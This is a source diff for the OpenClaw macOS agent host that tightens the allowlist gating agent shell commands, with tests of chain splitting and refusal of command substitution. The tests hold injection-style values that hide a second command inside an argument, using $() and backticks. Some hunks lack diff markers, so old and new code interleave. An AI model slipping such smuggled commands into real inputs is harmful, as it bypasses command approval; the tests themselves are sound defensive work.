if let match = allowlistMatch {
ExecApprovalsStore.recordAllowlistUse(
agentId: agentId,
pattern: match.pattern,
command: displayCommand,
resolvedPath: resolution?.resolvedPath)
self.recordAllowlistMatches(
security: evaluation.security,
allowlistSatisfied: evaluation.allowlistSatisfied,
agentId: evaluation.agentId,
allowlistMatches: evaluation.allowlistMatches,
allowlistResolutions: evaluation.allowlistResolutions,
displayCommand: evaluation.displayCommand)
if let permissionResponse = await self.validateScreenRecordingIfNeeded(
req: req,
needsScreenRecording: params.needsScreenRecording,
sessionKey: sessionKey,
runId: runId,
displayCommand: evaluation.displayCommand)
{
return permissionResponse
}
if params.needsScreenRecording == true {
let authorized = await PermissionManager
.status([.screenRecording])[.screenRecording] ?? false
if !authorized {
await self.emitExecEvent(
"exec.denied",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand,
reason: "permission:screenRecording"))
return Self.errorResponse(
req,
code: .unavailable,
message: "PERMISSION_MISSING: screenRecording")
}
}
let timeoutSec = params.timeoutMs.flatMap { Double($0) / 1000.0 }
await self.emitExecEvent(
"exec.started",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand))
let result = await ShellExecutor.runDetailed(
return try await self.executeSystemRun(
req: req,
params: params,
command: command,
cwd: params.cwd,
env: env,
timeout: timeoutSec)
let combined = [result.stdout, result.stderr, result.errorMessage]
.compactMap(\.self)
.filter { !$0.isEmpty }
.joined(separator: "\n")
await self.emitExecEvent(
"exec.finished",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand,
exitCode: result.exitCode,
timedOut: result.timedOut,
success: result.success,
output: ExecEventPayload.truncateOutput(combined)))
struct RunPayload: Encodable {
var exitCode: Int?
var timedOut: Bool
var success: Bool
var stdout: String
var stderr: String
var error: String?
}
let payload = try Self.encodePayload(RunPayload(
exitCode: result.exitCode,
timedOut: result.timedOut,
success: result.success,
stdout: result.stdout,
stderr: result.stderr,
error: result.errorMessage))
return BridgeInvokeResponse(id: req.id, ok: true, payloadJSON: payload)
env: evaluation.env,
sessionKey: sessionKey,
runId: runId,
displayCommand: evaluation.displayCommand)
}
private func handleSystemWhich(_ req: BridgeInvokeRequest) async throws -> BridgeInvokeResponse {
@@ -835,6 +771,132 @@ actor MacNodeRuntime {
}
extension MacNodeRuntime {
private func persistAllowlistPatterns(
persistAllowlist: Bool,
security: ExecSecurity,
agentId: String?,
command: [String],
allowlistResolutions: [ExecCommandResolution])
{
guard persistAllowlist, security == .allowlist else { return }
var seenPatterns = Set<String>()
for candidate in allowlistResolutions {
guard let pattern = ExecApprovalHelpers.allowlistPattern(command: command, resolution: candidate) else {
continue
}
if seenPatterns.insert(pattern).inserted {
ExecApprovalsStore.addAllowlistEntry(agentId: agentId, pattern: pattern)
}
}
}
private func recordAllowlistMatches(
security: ExecSecurity,
allowlistSatisfied: Bool,
agentId: String?,
allowlistMatches: [ExecAllowlistEntry],
allowlistResolutions: [ExecCommandResolution],
displayCommand: String)
{
guard security == .allowlist, allowlistSatisfied else { return }
var seenPatterns = Set<String>()
for (idx, match) in allowlistMatches.enumerated() {
if !seenPatterns.insert(match.pattern).inserted {
continue
}
let resolvedPath = idx < allowlistResolutions.count ? allowlistResolutions[idx].resolvedPath : nil
ExecApprovalsStore.recordAllowlistUse(
agentId: agentId,
pattern: match.pattern,
command: displayCommand,
resolvedPath: resolvedPath)
}
}
private func validateScreenRecordingIfNeeded(
req: BridgeInvokeRequest,
needsScreenRecording: Bool?,
sessionKey: String,
runId: String,
displayCommand: String) async -> BridgeInvokeResponse?
{
guard needsScreenRecording == true else { return nil }
let authorized = await PermissionManager
.status([.screenRecording])[.screenRecording] ?? false
if authorized {
return nil
}
await self.emitExecEvent(
"exec.denied",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand,
reason: "permission:screenRecording"))
return Self.errorResponse(
req,
code: .unavailable,
message: "PERMISSION_MISSING: screenRecording")
}
private func executeSystemRun(
req: BridgeInvokeRequest,
params: OpenClawSystemRunParams,
command: [String],
env: [String: String],
sessionKey: String,
runId: String,
displayCommand: String) async throws -> BridgeInvokeResponse
{
let timeoutSec = params.timeoutMs.flatMap { Double($0) / 1000.0 }
await self.emitExecEvent(
"exec.started",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand))
let result = await ShellExecutor.runDetailed(
command: command,
cwd: params.cwd,
env: env,
timeout: timeoutSec)
let combined = [result.stdout, result.stderr, result.errorMessage]
.compactMap(\.self)
.filter { !$0.isEmpty }
.joined(separator: "\n")
await self.emitExecEvent(
"exec.finished",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand,
exitCode: result.exitCode,
timedOut: result.timedOut,
success: result.success,
output: ExecEventPayload.truncateOutput(combined)))
struct RunPayload: Encodable {
var exitCode: Int?
var timedOut: Bool
var success: Bool
var stdout: String
var stderr: String
var error: String?
}
let runPayload = RunPayload(
exitCode: result.exitCode,
timedOut: result.timedOut,
success: result.success,
stdout: result.stdout,
stderr: result.stderr,
error: result.errorMessage)
let payload = try Self.encodePayload(runPayload)
return BridgeInvokeResponse(id: req.id, ok: true, payloadJSON: payload)
}
private static func decodeParams<T: Decodable>(_ type: T.Type, from json: String?) throws -> T {
guard let json, let data = json.data(using: .utf8) else {
throw NSError(domain: "Gateway", code: 20, userInfo: [
@@ -862,35 +924,6 @@ extension MacNodeRuntime {
UserDefaults.standard.object(forKey: cameraEnabledKey) as? Bool ?? false
}
private static let blockedEnvKeys: Set<String> = [
"PATH",
"NODE_OPTIONS",
"PYTHONHOME",
"PYTHONPATH",
"PERL5LIB",
"PERL5OPT",
"RUBYOPT",
]
private static let blockedEnvPrefixes: [String] = [
"DYLD_",
"LD_",
]
private static func sanitizedEnv(_ overrides: [String: String]?) -> [String: String]? {
guard let overrides else { return nil }
var merged = ProcessInfo.processInfo.environment
for (rawKey, value) in overrides {
let key = rawKey.trimmingCharacters(in: .whitespacesAndNewlines)
guard !key.isEmpty else { continue }
let upper = key.uppercased()
if self.blockedEnvKeys.contains(upper) { continue }
if self.blockedEnvPrefixes.contains(where: { upper.hasPrefix($0) }) { continue }
merged[key] = value
}
return merged
}
private nonisolated static func locationMode() -> OpenClawLocationMode {
let raw = UserDefaults.standard.string(forKey: locationModeKey) ?? "off"
return OpenClawLocationMode(rawValue: raw) ?? .off

View File

@@ -520,11 +520,12 @@ final class NodePairingApprovalPrompter {
let preferred = GatewayDiscoveryPreferences.preferredStableID()
let gateway = model.gateways.first { $0.stableID == preferred } ?? model.gateways.first
guard let gateway else { return nil }
let host = (gateway.tailnetDns?.trimmingCharacters(in: .whitespacesAndNewlines).nonEmpty ??
gateway.lanHost?.trimmingCharacters(in: .whitespacesAndNewlines).nonEmpty)
guard let host, !host.isEmpty else { return nil }
let port = gateway.sshPort > 0 ? gateway.sshPort : 22
return SSHTarget(host: host, port: port)
guard let target = GatewayDiscoveryHelpers.sshTarget(for: gateway),
let parsed = CommandResolver.parseSSHTarget(target)
else {
return nil
}
return SSHTarget(host: parsed.host, port: parsed.port)
}
private static func probeSSH(user: String, host: String, port: Int) async -> Bool {

View File

@@ -26,20 +26,17 @@ extension OnboardingView {
GatewayDiscoveryPreferences.setPreferredStableID(gateway.stableID)
if self.state.remoteTransport == .direct {
if let url = GatewayDiscoveryHelpers.directUrl(for: gateway) {
self.state.remoteUrl = url
}
} else if let host = GatewayDiscoveryHelpers.sanitizedTailnetHost(gateway.tailnetDns) ?? gateway.lanHost {
let user = NSUserName()
self.state.remoteTarget = GatewayDiscoveryModel.buildSSHTarget(
user: user,
host: host,
port: gateway.sshPort)
OpenClawConfigFile.setRemoteGatewayUrl(
host: gateway.serviceHost ?? host,
port: gateway.servicePort ?? gateway.gatewayPort)
self.state.remoteUrl = GatewayDiscoveryHelpers.directUrl(for: gateway) ?? ""
} else {
self.state.remoteTarget = GatewayDiscoveryHelpers.sshTarget(for: gateway) ?? ""
}
if let endpoint = GatewayDiscoveryHelpers.serviceEndpoint(for: gateway) {
OpenClawConfigFile.setRemoteGatewayUrl(
host: endpoint.host,
port: endpoint.port)
} else {
OpenClawConfigFile.clearRemoteGatewayUrl()
}
self.state.remoteCliPath = gateway.cliPath ?? ""
self.state.connectionMode = .remote
MacNodeModeCoordinator.shared.setPreferredGatewayStableID(gateway.stableID)

View File

@@ -265,9 +265,11 @@ extension OnboardingView {
if self.state.remoteTransport == .direct {
return GatewayDiscoveryHelpers.directUrl(for: gateway) ?? "Gateway pairing only"
}
if let host = GatewayDiscoveryHelpers.sanitizedTailnetHost(gateway.tailnetDns) ?? gateway.lanHost {
let portSuffix = gateway.sshPort != 22 ? " · ssh \(gateway.sshPort)" : ""
return "\(host)\(portSuffix)"
if let target = GatewayDiscoveryHelpers.sshTarget(for: gateway),
let parsed = CommandResolver.parseSSHTarget(target)
{
let portSuffix = parsed.port != 22 ? " · ssh \(parsed.port)" : ""
return "\(parsed.host)\(portSuffix)"
}
return "Gateway pairing only"
}

View File

@@ -223,6 +223,19 @@ enum OpenClawConfigFile {
}
}
static func clearRemoteGatewayUrl() {
self.updateGatewayDict { gateway in
guard var remote = gateway["remote"] as? [String: Any] else { return }
guard remote["url"] != nil else { return }
remote.removeValue(forKey: "url")
if remote.isEmpty {
gateway.removeValue(forKey: "remote")
} else {
gateway["remote"] = remote
}
}
}
private static func remoteGatewayUrl() -> URL? {
let root = self.loadDict()
guard let gateway = root["gateway"] as? [String: Any],

View File

@@ -15,9 +15,9 @@
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.20</string>
<string>2026.2.21</string>
<key>CFBundleVersion</key>
<string>202602200</string>
<string>202602210</string>
<key>CFBundleIconFile</key>
<string>OpenClaw</string>
<key>CFBundleURLTypes</key>

View File

@@ -105,16 +105,24 @@ struct SystemRunSettingsView: View {
.foregroundStyle(.secondary)
} else {
HStack(spacing: 8) {
TextField("Add allowlist pattern (case-insensitive globs)", text: self.$newPattern)
TextField("Add allowlist path pattern (case-insensitive globs)", text: self.$newPattern)
.textFieldStyle(.roundedBorder)
Button("Add") {
let pattern = self.newPattern.trimmingCharacters(in: .whitespacesAndNewlines)
guard !pattern.isEmpty else { return }
self.model.addEntry(pattern)
self.newPattern = ""
if self.model.addEntry(self.newPattern) == nil {
self.newPattern = ""
}
}
.buttonStyle(.bordered)
.disabled(self.newPattern.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty)
.disabled(!self.model.isPathPattern(self.newPattern))
}
Text("Path patterns only. Basename entries like \"echo\" are ignored.")
.font(.footnote)
.foregroundStyle(.secondary)
if let validationMessage = self.model.allowlistValidationMessage {
Text(validationMessage)
.font(.footnote)
.foregroundStyle(.orange)
}
if self.model.entries.isEmpty {
@@ -234,6 +242,7 @@ final class ExecApprovalsSettingsModel {
var autoAllowSkills = false
var entries: [ExecAllowlistEntry] = []
var skillBins: [String] = []
var allowlistValidationMessage: String?
var agentPickerIds: [String] {
[Self.defaultsScopeId] + self.agentIds
@@ -289,6 +298,7 @@ final class ExecApprovalsSettingsModel {
func selectAgent(_ id: String) {
self.selectedAgentId = id
self.allowlistValidationMessage = nil
self.loadSettings(for: id)
Task { await self.refreshSkillBins() }
}
@@ -301,6 +311,7 @@ final class ExecApprovalsSettingsModel {
self.askFallback = defaults.askFallback
self.autoAllowSkills = defaults.autoAllowSkills
self.entries = []
self.allowlistValidationMessage = nil
return
}
let resolved = ExecApprovalsStore.resolve(agentId: agentId)
@@ -310,6 +321,7 @@ final class ExecApprovalsSettingsModel {
self.autoAllowSkills = resolved.agent.autoAllowSkills
self.entries = resolved.allowlist
.sorted { $0.pattern.localizedCaseInsensitiveCompare($1.pattern) == .orderedAscending }
self.allowlistValidationMessage = nil
}
func setSecurity(_ security: ExecSecurity) {
@@ -367,32 +379,55 @@ final class ExecApprovalsSettingsModel {
Task { await self.refreshSkillBins(force: enabled) }
}
func addEntry(_ pattern: String) {
guard !self.isDefaultsScope else { return }
let trimmed = pattern.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return }
self.entries.append(ExecAllowlistEntry(pattern: trimmed, lastUsedAt: nil))
ExecApprovalsStore.updateAllowlist(agentId: self.selectedAgentId, allowlist: self.entries)
@discardableResult
func addEntry(_ pattern: String) -> ExecAllowlistPatternValidationReason? {
guard !self.isDefaultsScope else { return nil }
switch ExecApprovalHelpers.validateAllowlistPattern(pattern) {
case .valid(let normalizedPattern):
self.entries.append(ExecAllowlistEntry(pattern: normalizedPattern, lastUsedAt: nil))
let rejected = ExecApprovalsStore.updateAllowlist(agentId: self.selectedAgentId, allowlist: self.entries)
self.allowlistValidationMessage = rejected.first?.reason.message
return rejected.first?.reason
case .invalid(let reason):
self.allowlistValidationMessage = reason.message
return reason
}
}
func updateEntry(_ entry: ExecAllowlistEntry, id: UUID) {
guard !self.isDefaultsScope else { return }
guard let index = self.entries.firstIndex(where: { $0.id == id }) else { return }
self.entries[index] = entry
ExecApprovalsStore.updateAllowlist(agentId: self.selectedAgentId, allowlist: self.entries)
@discardableResult
func updateEntry(_ entry: ExecAllowlistEntry, id: UUID) -> ExecAllowlistPatternValidationReason? {
guard !self.isDefaultsScope else { return nil }
guard let index = self.entries.firstIndex(where: { $0.id == id }) else { return nil }
var next = entry
switch ExecApprovalHelpers.validateAllowlistPattern(next.pattern) {
case .valid(let normalizedPattern):
next.pattern = normalizedPattern
case .invalid(let reason):
self.allowlistValidationMessage = reason.message
return reason
}
self.entries[index] = next
let rejected = ExecApprovalsStore.updateAllowlist(agentId: self.selectedAgentId, allowlist: self.entries)
self.allowlistValidationMessage = rejected.first?.reason.message
return rejected.first?.reason
}
func removeEntry(id: UUID) {
guard !self.isDefaultsScope else { return }
guard let index = self.entries.firstIndex(where: { $0.id == id }) else { return }
self.entries.remove(at: index)
ExecApprovalsStore.updateAllowlist(agentId: self.selectedAgentId, allowlist: self.entries)
let rejected = ExecApprovalsStore.updateAllowlist(agentId: self.selectedAgentId, allowlist: self.entries)
self.allowlistValidationMessage = rejected.first?.reason.message
}
func entry(for id: UUID) -> ExecAllowlistEntry? {
self.entries.first(where: { $0.id == id })
}
func isPathPattern(_ pattern: String) -> Bool {
ExecApprovalHelpers.isPathPattern(pattern)
}
func refreshSkillBins(force: Bool = false) async {
guard self.autoAllowSkills else {
self.skillBins = []

View File

@@ -44,4 +44,3 @@ public enum TailscaleNetwork {
return nil
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -2,7 +2,38 @@ import Foundation
import Testing
@testable import OpenClaw
/// These cases cover optional `security=allowlist` behavior.
/// Default install posture remains deny-by-default for exec on macOS node-host.
struct ExecAllowlistTests {
private struct ShellParserParityFixture: Decodable {
struct Case: Decodable {
let id: String
let command: String
let ok: Bool
let executables: [String]
}
let cases: [Case]
}
private static func loadShellParserParityCases() throws -> [ShellParserParityFixture.Case] {
let fixtureURL = self.shellParserParityFixtureURL()
let data = try Data(contentsOf: fixtureURL)
let fixture = try JSONDecoder().decode(ShellParserParityFixture.self, from: data)
return fixture.cases
}
private static func shellParserParityFixtureURL() -> URL {
var repoRoot = URL(fileURLWithPath: #filePath)
for _ in 0..<5 {
repoRoot.deleteLastPathComponent()
}
return repoRoot
.appendingPathComponent("test")
.appendingPathComponent("fixtures")
.appendingPathComponent("exec-allowlist-shell-parser-parity.json")
}
@Test func matchUsesResolvedPath() {
let entry = ExecAllowlistEntry(pattern: "/opt/homebrew/bin/rg")
let resolution = ExecCommandResolution(
@@ -14,7 +45,7 @@ struct ExecAllowlistTests {
#expect(match?.pattern == entry.pattern)
}
@Test func matchUsesBasenameForSimplePattern() {
@Test func matchIgnoresBasenamePattern() {
let entry = ExecAllowlistEntry(pattern: "rg")
let resolution = ExecCommandResolution(
rawExecutable: "rg",
@@ -22,11 +53,22 @@ struct ExecAllowlistTests {
executableName: "rg",
cwd: nil)
let match = ExecAllowlistMatcher.match(entries: [entry], resolution: resolution)
#expect(match?.pattern == entry.pattern)
#expect(match == nil)
}
@Test func matchIgnoresBasenameForRelativeExecutable() {
let entry = ExecAllowlistEntry(pattern: "echo")
let resolution = ExecCommandResolution(
rawExecutable: "./echo",
resolvedPath: "/tmp/oc-basename/echo",
executableName: "echo",
cwd: "/tmp/oc-basename")
let match = ExecAllowlistMatcher.match(entries: [entry], resolution: resolution)
#expect(match == nil)
}
@Test func matchIsCaseInsensitive() {
let entry = ExecAllowlistEntry(pattern: "RG")
let entry = ExecAllowlistEntry(pattern: "/OPT/HOMEBREW/BIN/RG")
let resolution = ExecCommandResolution(
rawExecutable: "rg",
resolvedPath: "/opt/homebrew/bin/rg",
@@ -46,4 +88,110 @@ struct ExecAllowlistTests {
let match = ExecAllowlistMatcher.match(entries: [entry], resolution: resolution)
#expect(match?.pattern == entry.pattern)
}
@Test func resolveForAllowlistSplitsShellChains() {
let command = ["/bin/sh", "-lc", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test"]
let resolutions = ExecCommandResolution.resolveForAllowlist(
command: command,
rawCommand: "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test",
cwd: nil,
env: ["PATH": "/usr/bin:/bin"])
#expect(resolutions.count == 2)
#expect(resolutions[0].executableName == "echo")
#expect(resolutions[1].executableName == "touch")
}
@Test func resolveForAllowlistKeepsQuotedOperatorsInSingleSegment() {
let command = ["/bin/sh", "-lc", "echo \"a && b\""]
let resolutions = ExecCommandResolution.resolveForAllowlist(
command: command,
rawCommand: "echo \"a && b\"",
cwd: nil,
env: ["PATH": "/usr/bin:/bin"])
#expect(resolutions.count == 1)
#expect(resolutions[0].executableName == "echo")
}
@Test func resolveForAllowlistFailsClosedOnCommandSubstitution() {
let command = ["/bin/sh", "-lc", "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)"]
let resolutions = ExecCommandResolution.resolveForAllowlist(
command: command,
rawCommand: "echo $(/usr/bin/touch /tmp/openclaw-allowlist-test-subst)",
cwd: nil,
env: ["PATH": "/usr/bin:/bin"])
#expect(resolutions.isEmpty)
}
@Test func resolveForAllowlistFailsClosedOnQuotedCommandSubstitution() {
let command = ["/bin/sh", "-lc", "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\""]
let resolutions = ExecCommandResolution.resolveForAllowlist(
command: command,
rawCommand: "echo \"ok $(/usr/bin/touch /tmp/openclaw-allowlist-test-quoted-subst)\"",
cwd: nil,
env: ["PATH": "/usr/bin:/bin"])
#expect(resolutions.isEmpty)
}
@Test func resolveForAllowlistFailsClosedOnQuotedBackticks() {
let command = ["/bin/sh", "-lc", "echo \"ok `/usr/bin/id`\""]
let resolutions = ExecCommandResolution.resolveForAllowlist(
command: command,
rawCommand: "echo \"ok `/usr/bin/id`\"",
cwd: nil,
env: ["PATH": "/usr/bin:/bin"])
#expect(resolutions.isEmpty)
}
@Test func resolveForAllowlistMatchesSharedShellParserFixture() throws {
let fixtures = try Self.loadShellParserParityCases()
for fixture in fixtures {
let resolutions = ExecCommandResolution.resolveForAllowlist(
command: ["/bin/sh", "-lc", fixture.command],
rawCommand: fixture.command,
cwd: nil,
env: ["PATH": "/usr/bin:/bin"])
#expect(!resolutions.isEmpty == fixture.ok)
if fixture.ok {
let executables = resolutions.map { $0.executableName.lowercased() }
let expected = fixture.executables.map { $0.lowercased() }
#expect(executables == expected)
}
}
}
@Test func resolveForAllowlistTreatsPlainShInvocationAsDirectExec() {
let command = ["/bin/sh", "./script.sh"]
let resolutions = ExecCommandResolution.resolveForAllowlist(
command: command,
rawCommand: nil,
cwd: "/tmp",
env: ["PATH": "/usr/bin:/bin"])
#expect(resolutions.count == 1)
#expect(resolutions[0].executableName == "sh")
}
@Test func matchAllRequiresEverySegmentToMatch() {
let first = ExecCommandResolution(
rawExecutable: "echo",
resolvedPath: "/usr/bin/echo",
executableName: "echo",
cwd: nil)
let second = ExecCommandResolution(
rawExecutable: "/usr/bin/touch",
resolvedPath: "/usr/bin/touch",
executableName: "touch",
cwd: nil)
let resolutions = [first, second]
let partial = ExecAllowlistMatcher.matchAll(
entries: [ExecAllowlistEntry(pattern: "/usr/bin/echo")],
resolutions: resolutions)
#expect(partial.isEmpty)
let full = ExecAllowlistMatcher.matchAll(
entries: [ExecAllowlistEntry(pattern: "/USR/BIN/ECHO"), ExecAllowlistEntry(pattern: "/usr/bin/touch")],
resolutions: resolutions)
#expect(full.count == 2)
}
}

View File

@@ -29,6 +29,24 @@ import Testing
#expect(ExecApprovalHelpers.allowlistPattern(command: [], resolution: nil) == nil)
}
@Test func validateAllowlistPatternReturnsReasons() {
#expect(ExecApprovalHelpers.isPathPattern("/usr/bin/rg"))
#expect(ExecApprovalHelpers.isPathPattern(" ~/bin/rg "))
#expect(!ExecApprovalHelpers.isPathPattern("rg"))
if case .invalid(let reason) = ExecApprovalHelpers.validateAllowlistPattern(" ") {
#expect(reason == .empty)
} else {
Issue.record("Expected empty pattern rejection")
}
if case .invalid(let reason) = ExecApprovalHelpers.validateAllowlistPattern("echo") {
#expect(reason == .missingPathComponent)
} else {
Issue.record("Expected basename pattern rejection")
}
}
@Test func requiresAskMatchesPolicy() {
let entry = ExecAllowlistEntry(pattern: "/bin/ls", lastUsedAt: nil, lastUsedCommand: nil, lastResolvedPath: nil)
#expect(ExecApprovalHelpers.requiresAsk(

View File

@@ -0,0 +1,75 @@
import Foundation
import Testing
@testable import OpenClaw
@Suite(.serialized)
struct ExecApprovalsStoreRefactorTests {
@Test
func ensureFileSkipsRewriteWhenUnchanged() async throws {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
defer { try? FileManager().removeItem(at: stateDir) }
try await TestIsolation.withEnvValues(["OPENCLAW_STATE_DIR": stateDir.path]) {
_ = ExecApprovalsStore.ensureFile()
let url = ExecApprovalsStore.fileURL()
let firstWriteDate = try Self.modificationDate(at: url)
try await Task.sleep(nanoseconds: 1_100_000_000)
_ = ExecApprovalsStore.ensureFile()
let secondWriteDate = try Self.modificationDate(at: url)
#expect(firstWriteDate == secondWriteDate)
}
}
@Test
func updateAllowlistReportsRejectedBasenamePattern() async throws {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
defer { try? FileManager().removeItem(at: stateDir) }
await TestIsolation.withEnvValues(["OPENCLAW_STATE_DIR": stateDir.path]) {
let rejected = ExecApprovalsStore.updateAllowlist(
agentId: "main",
allowlist: [
ExecAllowlistEntry(pattern: "echo"),
ExecAllowlistEntry(pattern: "/bin/echo"),
])
#expect(rejected.count == 1)
#expect(rejected.first?.reason == .missingPathComponent)
#expect(rejected.first?.pattern == "echo")
let resolved = ExecApprovalsStore.resolve(agentId: "main")
#expect(resolved.allowlist.map(\.pattern) == ["/bin/echo"])
}
}
@Test
func updateAllowlistMigratesLegacyPatternFromResolvedPath() async throws {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
defer { try? FileManager().removeItem(at: stateDir) }
await TestIsolation.withEnvValues(["OPENCLAW_STATE_DIR": stateDir.path]) {
let rejected = ExecApprovalsStore.updateAllowlist(
agentId: "main",
allowlist: [
ExecAllowlistEntry(pattern: "echo", lastUsedAt: nil, lastUsedCommand: nil, lastResolvedPath: " /usr/bin/echo "),
])
#expect(rejected.isEmpty)
let resolved = ExecApprovalsStore.resolve(agentId: "main")
#expect(resolved.allowlist.map(\.pattern) == ["/usr/bin/echo"])
}
}
private static func modificationDate(at url: URL) throws -> Date {
let attributes = try FileManager().attributesOfItem(atPath: url.path)
guard let date = attributes[.modificationDate] as? Date else {
struct MissingDateError: Error {}
throw MissingDateError()
}
return date
}
}

View File

@@ -45,12 +45,7 @@ import Testing
// First send is the connect handshake request. Subsequent sends are request frames.
if currentSendCount == 0 {
guard case let .data(data) = message else { return }
if let obj = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
(obj["type"] as? String) == "req",
(obj["method"] as? String) == "connect",
let id = obj["id"] as? String
{
if let id = GatewayWebSocketTestSupport.connectRequestID(from: message) {
self.connectRequestID.withLock { $0 = id }
}
return
@@ -65,7 +60,7 @@ import Testing
return
}
let response = Self.responseData(id: id)
let response = GatewayWebSocketTestSupport.okResponseData(id: id)
let handler = self.pendingReceiveHandler.withLock { $0 }
handler?(Result<URLSessionWebSocketTask.Message, Error>.success(.data(response)))
}
@@ -75,7 +70,7 @@ import Testing
try await Task.sleep(nanoseconds: UInt64(self.helloDelayMs) * 1_000_000)
}
let id = self.connectRequestID.withLock { $0 } ?? "connect"
return .data(Self.connectOkData(id: id))
return .data(GatewayWebSocketTestSupport.connectOkData(id: id))
}
func receive(
@@ -89,41 +84,6 @@ import Testing
handler?(Result<URLSessionWebSocketTask.Message, Error>.success(.data(data)))
}
private static func connectOkData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": {
"type": "hello-ok",
"protocol": 2,
"server": { "version": "test", "connId": "test" },
"features": { "methods": [], "events": [] },
"snapshot": {
"presence": [ { "ts": 1 } ],
"health": {},
"stateVersion": { "presence": 0, "health": 0 },
"uptimeMs": 0
},
"policy": { "maxPayload": 1, "maxBufferedBytes": 1, "tickIntervalMs": 30000 }
}
}
"""
return Data(json.utf8)
}
private static func responseData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": { "ok": true }
}
"""
return Data(json.utf8)
}
}
private final class FakeWebSocketSession: WebSocketSessioning, @unchecked Sendable {

View File

@@ -38,17 +38,7 @@ import Testing
}
func send(_ message: URLSessionWebSocketTask.Message) async throws {
let data: Data? = switch message {
case let .data(d): d
case let .string(s): s.data(using: .utf8)
@unknown default: nil
}
guard let data else { return }
if let obj = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
obj["type"] as? String == "req",
obj["method"] as? String == "connect",
let id = obj["id"] as? String
{
if let id = GatewayWebSocketTestSupport.connectRequestID(from: message) {
self.connectRequestID.withLock { $0 = id }
}
}
@@ -60,7 +50,7 @@ import Testing
case let .helloOk(ms):
delayMs = ms
let id = self.connectRequestID.withLock { $0 } ?? "connect"
msg = .data(Self.connectOkData(id: id))
msg = .data(GatewayWebSocketTestSupport.connectOkData(id: id))
case let .invalid(ms):
delayMs = ms
msg = .string("not json")
@@ -77,29 +67,6 @@ import Testing
self.pendingReceiveHandler.withLock { $0 = completionHandler }
}
private static func connectOkData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": {
"type": "hello-ok",
"protocol": 2,
"server": { "version": "test", "connId": "test" },
"features": { "methods": [], "events": [] },
"snapshot": {
"presence": [ { "ts": 1 } ],
"health": {},
"stateVersion": { "presence": 0, "health": 0 },
"uptimeMs": 0
},
"policy": { "maxPayload": 1, "maxBufferedBytes": 1, "tickIntervalMs": 30000 }
}
}
"""
return Data(json.utf8)
}
}
private final class FakeWebSocketSession: WebSocketSessioning, @unchecked Sendable {

View File

@@ -42,17 +42,7 @@ import Testing
// First send is the connect handshake. Second send is the request frame.
if currentSendCount == 0 {
let data: Data? = switch message {
case let .data(d): d
case let .string(s): s.data(using: .utf8)
@unknown default: nil
}
guard let data else { return }
if let obj = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
obj["type"] as? String == "req",
obj["method"] as? String == "connect",
let id = obj["id"] as? String
{
if let id = GatewayWebSocketTestSupport.connectRequestID(from: message) {
self.connectRequestID.withLock { $0 = id }
}
}
@@ -64,7 +54,7 @@ import Testing
func receive() async throws -> URLSessionWebSocketTask.Message {
let id = self.connectRequestID.withLock { $0 } ?? "connect"
return .data(Self.connectOkData(id: id))
return .data(GatewayWebSocketTestSupport.connectOkData(id: id))
}
func receive(
@@ -73,29 +63,6 @@ import Testing
self.pendingReceiveHandler.withLock { $0 = completionHandler }
}
private static func connectOkData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": {
"type": "hello-ok",
"protocol": 2,
"server": { "version": "test", "connId": "test" },
"features": { "methods": [], "events": [] },
"snapshot": {
"presence": [ { "ts": 1 } ],
"health": {},
"stateVersion": { "presence": 0, "health": 0 },
"uptimeMs": 0
},
"policy": { "maxPayload": 1, "maxBufferedBytes": 1, "tickIntervalMs": 30000 }
}
}
"""
return Data(json.utf8)
}
}
private final class FakeWebSocketSession: WebSocketSessioning, @unchecked Sendable {

View File

@@ -32,24 +32,14 @@ import Testing
}
func send(_ message: URLSessionWebSocketTask.Message) async throws {
let data: Data? = switch message {
case let .data(d): d
case let .string(s): s.data(using: .utf8)
@unknown default: nil
}
guard let data else { return }
if let obj = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
obj["type"] as? String == "req",
obj["method"] as? String == "connect",
let id = obj["id"] as? String
{
if let id = GatewayWebSocketTestSupport.connectRequestID(from: message) {
self.connectRequestID.withLock { $0 = id }
}
}
func receive() async throws -> URLSessionWebSocketTask.Message {
let id = self.connectRequestID.withLock { $0 } ?? "connect"
return .data(Self.connectOkData(id: id))
return .data(GatewayWebSocketTestSupport.connectOkData(id: id))
}
func receive(
@@ -63,29 +53,6 @@ import Testing
handler?(Result<URLSessionWebSocketTask.Message, Error>.failure(URLError(.networkConnectionLost)))
}
private static func connectOkData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": {
"type": "hello-ok",
"protocol": 2,
"server": { "version": "test", "connId": "test" },
"features": { "methods": [], "events": [] },
"snapshot": {
"presence": [ { "ts": 1 } ],
"health": {},
"stateVersion": { "presence": 0, "health": 0 },
